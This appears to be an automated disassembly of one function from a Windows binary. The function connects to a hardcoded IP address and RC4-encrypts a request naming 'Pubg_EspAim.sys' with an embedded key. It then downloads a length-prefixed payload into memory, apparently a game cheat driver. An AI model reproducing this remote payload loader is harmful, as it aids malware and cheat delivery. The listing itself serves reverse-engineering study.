Function at 0x14000e120
Capabilities:
Connect socket
Initialize winsock library
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
push rbp
push rbx
push rsi
lea rbp, [rsp - 0x450]
sub rsp, 0x550
mov rax, qword [0x14005d060]
xor rax, rsp
mov qword [rbp + 0x420], rax
mov qword [rsp + 0x48], rdx
mov ecx, 0x202
lea rdx, [rbp + 0x170]
mov qword [rsp + 0x50], r8
call qword [sym.imp.WS2_32.dll_WSAStartup]
xor r8d, r8d
mov ebx, 2
mov ecx, ebx
lea edx, [r8 + 1]
call qword [sym.imp.WS2_32.dll_socket]
mov qword [rsp + 0x20], rax
mov rsi, rax
cmp rax, 0xffffffffffffffff
jne 0x14000e189
xor eax, eax
jmp 0x14000e5c8
mov qword [rsp + 0x570], rdi
xorps xmm0, xmm0
mov qword [rsp + 0x540], r13
mov ecx, 0x13a6
movups xmmword [rbp + 0x160], xmm0
mov qword [rsp + 0x538], r14
mov qword [rsp + 0x530], r15
mov word [rbp + 0x160], bx
call qword [sym.imp.WS2_32.dll_htons]
lea rcx, str.110.40.34.172
mov word [rbp + 0x162], ax
call qword [sym.imp.WS2_32.dll_inet_addr]
mov dword [rbp + 0x164], eax
cmp eax, 0xffffffff
je 0x14000e5f7
mov r8d, reloc.WS2_32.dll_recv
lea rdx, [rbp + 0x160]
mov rcx, rsi
call qword [sym.imp.WS2_32.dll_connect]
test eax, eax
jne 0x14000e5f7
xor edx, edx
lea rcx, [rbp + 0x310]
mov r8d, 0x104
call fcn.140017460
lea r8, str.Pubg_EspAim.sys
lea rdx, str.File_s
lea rcx, [rbp + 0x310]
call fcn.14000ea90
xor ebx, ebx
mov qword [rsp + 0x40], recv
lea rdx, str.DipTQunpKCFCYxSOmF
mov qword [rsp + 0x28], rbx
lea rcx, [rsp + 0x28]
mov qword [rsp + 0x38], rbx
lea r8d, [rbx + 0x12]
call fcn.140009710
mov rdi, 0xffffffffffffffff
lea rax, [rbp + 0x310]
mov r9, rdi
nop
inc r9
cmp byte [rax + r9], bl
jne 0x14000e270
mov r13, qword [rsp + 0x40]
mov r8d, ebx
mov r14, qword [rsp + 0x38]
mov r10, rbx
mov r15, qword [rsp + 0x28]
mov r11d, pe_nt_image_headers64
mov eax, r8d
mov byte [rsp + r10 + 0x60], r8b
cmp r13, 0x10
lea rcx, [rsp + 0x28]
cdq
lea r10, [r10 + 1]
cmovae rcx, r15
inc r8d
idiv r14d
movsxd rax, edx
movzx ecx, byte [rax + rcx]
mov byte [rbp + r10 + 0x5f], cl
cmp r8d, r11d
jl 0x14000e294
mov edx, ebx
mov r8, rbx
nop word [rax + rax]
movzx eax, byte [rbp + r8 + 0x60]
movzx r10d, byte [rsp + r8 + 0x60]
add edx, eax
add edx, r10d
and edx, 0x800000ff
jge 0x14000e2f3
dec edx
or edx, 0xffffff00
inc edx
movsxd rax, edx
lea rcx, [rsp + 0x60]
add rcx, rax
movzx eax, byte [rcx]
mov byte [rsp + r8 + 0x60], al
inc r8
mov byte [rcx], r10b
sub r11, 1
jne 0x14000e2d0
mov edx, ebx
mov r8d, ebx
test r9d, r9d
jle 0x14000e391
lea r11, [rbp + 0x310]
mov r14d, r9d
inc edx
and edx, 0x800000ff
jge 0x14000e33a
dec edx
or edx, 0xffffff00
inc edx
movsxd rax, edx
lea r9, [rsp + 0x60]
add r9, rax
movzx r10d, byte [r9]
add r8d, r10d
and r8d, 0x800000ff
jge 0x14000e362
dec r8d
or r8d, 0xffffff00
inc r8d
movsxd rax, r8d
lea rcx, [rsp + 0x60]
add rcx, rax
movzx eax, byte [rcx]
mov byte [r9], al
mov byte [rcx], r10b
movzx ecx, byte [r9]
add rcx, r10
movzx eax, cl
movzx ecx, byte [rsp + rax + 0x60]
xor byte [r11], cl
inc r11
sub r14, 1
jne 0x14000e326
cmp r13, 0x10
jb 0x14000e3c8
lea rdx, [r13 + 1]
mov rax, r15
cmp rdx, 0x1000
jb 0x14000e3c0
mov r15, qword [r15 - 8]
add rdx, 0x27
sub rax, r15
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000e604
mov rcx, r15
call fcn.1400148a0
lea rax, [rbp + 0x310]
nop
inc rdi
cmp byte [rax + rdi], bl
jne 0x14000e3d0
mov r8, rdi
lea rdx, [rbp + 0x310]
xor r9d, r9d
mov rcx, rsi
call qword [sym.imp.WS2_32.dll_send]
test eax, eax
jle 0x14000e5f7
mov ecx, 0x400
call fcn.14001f0ec
mov rdi, rax
test rax, rax
je 0x14000e5f7
xor edx, edx
mov qword [rsp + 0x548], r12
mov r8d, 0x400
mov rcx, rax
call fcn.140017460
xor r9d, r9d
mov r8d, 0x400
mov rdx, rdi
mov rcx, rsi
call qword [sym.imp.WS2_32.dll_recv]
mov r13d, eax
cmp eax, 0xa
jl 0x14000e5e2
cmp byte [rdi], 1
jne 0x14000e591
cmp byte [rdi + 1], 2
jne 0x14000e591
cmp byte [rdi + 2], 4
jne 0x14000e591
cmp byte [rdi + 3], 2
jne 0x14000e591
cmp byte [rdi + 4], 5
jne 0x14000e591
cmp byte [rdi + 5], 4
jne 0x14000e591
mov r15d, dword [rdi + 6]
sub r15d, 0xa
movsxd r12, r15d
mov rcx, r12
call fcn.14001f0ec
mov r14, rax
test rax, rax
je 0x14000e5e2
mov r8, r12
xor edx, edx
mov rcx, rax
call fcn.140017460
mov ecx, 0x2000
call fcn.14001f0ec
mov r12, rax
test rax, rax
jne 0x14000e4ce
mov rcx, rdi
call fcn.14001e48c
mov rcx, r14
jmp 0x14000e5e5
lea esi, [r13 - 0xa]
mov rcx, r14
lea r13, [rdi + 0xa]
movsxd r8, esi
mov rdx, r13
call fcn.140016d90
mov rdi, rbx
nop word [rax + rax]
movzx edx, byte [rdi + r13]
lea rcx, [0x140055ecc]
call fcn.14000dea0
inc rdi
cmp rdi, 0x14
jb 0x14000e4f0
cmp esi, r15d
jge 0x14000e554
mov r13, qword [rsp + 0x20]
nop dword [rax]
nop dword [rax + rax]
xor r9d, r9d
mov r8d, 0x2000
mov rdx, r12
mov rcx, r13
call qword [sym.imp.WS2_32.dll_recv]
movsxd rdi, eax
test eax, eax
jle 0x14000e54f
movsxd rcx, esi
mov r8, rdi
add rcx, r14
mov rdx, r12
call fcn.140016d90
add esi, edi
cmp esi, r15d
jl 0x14000e520
mov edx, esi
lea rcx, [0x140055ed0]
call fcn.14000dea0
mov rax, qword [rsp + 0x48]
mov qword [rax], r14
mov rax, qword [rsp + 0x50]
mov dword [rax], r15d
movzx edx, byte [rbx + r14]
lea rcx, [0x140055ecc]
call fcn.14000dea0
inc rbx
cmp rbx, 0x14
jb 0x14000e572
mov rsi, qword [rsp + 0x20]
mov rcx, rsi
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov r12, qword [rsp + 0x548]
mov r13, qword [rsp + 0x540]
mov r14, qword [rsp + 0x538]
mov rdi, qword [rsp + 0x570]
mov r15, qword [rsp + 0x530]
mov rcx, qword [rbp + 0x420]
xor rcx, rsp
call fcn.140014880
add rsp, 0x550
pop rsi
pop rbx
pop rbp
ret
mov rcx, rdi
call fcn.14001e48c
mov rcx, rsi
call qword [sym.imp.WS2_32.dll_closesocket]
xor eax, eax
jmp 0x14000e5a0
mov rcx, rsi
call qword [sym.imp.WS2_32.dll_closesocket]
xor eax, eax
jmp 0x14000e5a8
call fcn.14001eec4
int3